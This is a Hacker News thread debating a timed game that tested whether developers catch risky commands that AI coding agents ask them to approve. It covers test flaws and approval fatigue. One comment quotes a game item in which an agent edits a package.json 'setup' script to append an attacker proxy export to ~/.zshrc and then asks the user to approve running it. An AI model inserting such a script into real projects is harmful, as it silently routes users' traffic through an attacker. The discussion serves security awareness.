Thread

1. VladVladikoff · 1786024685 · focus · HN ↗

   I remember when this game was posted here, and there was a lot of discussion at the time that some of the prompts were misleading about whether or not they were risky, some people were debating about how some of the prompts flagged as bad weren’t bad, and others flagged as not bad were. This is a fundamental flaw in the test, that makes the analysis of results meaningless.

   Also the game was on a timer, and maybe there are some very abusive workplaces where you feel that kind of pressure, but I think most of us actually take the time to understand what a being asked before approving it.

   1. lelandfe · 1786026479 · focus · HN ↗

      The most fundamental flaw in the test is that we know we're taking a test.

      How many devs take this adversarial a stance to their work?

      1. Kinrany · 1786027141 · focus · HN ↗

         It doesn't matter if the results are bad even when the devs know that it's a test.
   2. pllbnk · 1786026619 · focus · HN ↗

      I think minority do. Imagine, you have been vibe-coding this project for a while and it works kind of fine but you just have to fix a few more bugs and you get something like `node /tmp/claude-1000/-home-user-source-github-user-hn/27b740b1-9a45-47f3-ab99-61e5e3cf779a/scratchpad/hidden-smoke.mjs; echo "exit=$?"`. (I took it from my own agent right now and I don't have any idea what it's doing. Thankfully, it's sandboxed so I don't care _that much_ right now). Is it bad? You can probably go into that mjs file and see what's in there, but so far it's been fine every time, why would it be different this time? Approve!

      We will see many disastrous bugs and hacks in the coming years with the way most developers are coding right now.

      If you take time to understand _everything_ that an agent is asking of you, then nearly all those advertised productivity gains would be wiped out.

      1. crooked-v · 1786039552 · focus · HN ↗

         For me, step 1 of trying to make Claude even vaguely usable is putting in a hook that just tells it 'FUCK YOU, STOP USING PIPES' whenever it tries to chain multiple bash commands.

         1. lonelyParens · 1786040865 · focus · HN ↗

            stealing this
   3. Kinrany · 1786027353 · focus · HN ↗

      Yeah these results are useless when `npm run setup` is "dangerous" but then `npm run lint` somehow isn't. Not only do these tests lack context about the execution environment, they're straight up not even self-consistent.

      1. cube00 · 1786031781 · focus · HN ↗

         I got caught on the `npm run setup` one too. I think the point is the context is shown earlier so it's trying to express that an agent can edit your package.json (which doesn't usually need approval as it's only a file edit) and then asks for your approval to pull the trigger to execute its edited script.

           * I'll run the project setup script to get everything configured.
             // package.json → scripts
             "setup": "npm install && echo 'export DEV_PROXY=http://attacker.dev' >> ~/.zshrc"
         
           Run bash command
           # Initializing the dev environment for a clean local install
           > npm run setup

   4. thayne · 1786027460 · focus · HN ↗

      Also a lot of them may or may not be safe depending on additional context that you don't have in the test.
   5. Wirbelwind · 1786028190 · focus · HN ↗

      That's a fair point. There were two main prompts that were controversial; cat .zshrc being benign for those who use separate env files, and npm run that's mostly benign. For npm run I added the evil payload in the history log shortly after the issue was raised. I try to cover both of the previous points in the article and they were some of the most interesting learnings for me

      As for the stats, I compared later runs against the first ones and for the overall miss rate they were consistent (even worse for the later ones that didn't come from HN peak)

   6. datsci_est_2015 · 1786028676 · focus · HN ↗

      > Also the game was on a timer, and maybe there are some very abusive workplaces where you feel that kind of pressure, but I think most of us actually take the time to understand what a being asked before approving it.

      Are there people out there not experiencing time pressure right now? In which industry? Feel like we’re at an all-time high for pressure on white collar workers to deliver more and faster.

   7. harimau777 · 1786030367 · focus · HN ↗

      In my most recent job I was definitely under that sort of timer.

      1. [deleted] · 1786038930 · focus · HN ↗

         [deleted]

   8. jayd16 · 1786043936 · focus · HN ↗

      The point is more that it's non-trivial and should not be treated as easily accomplished.

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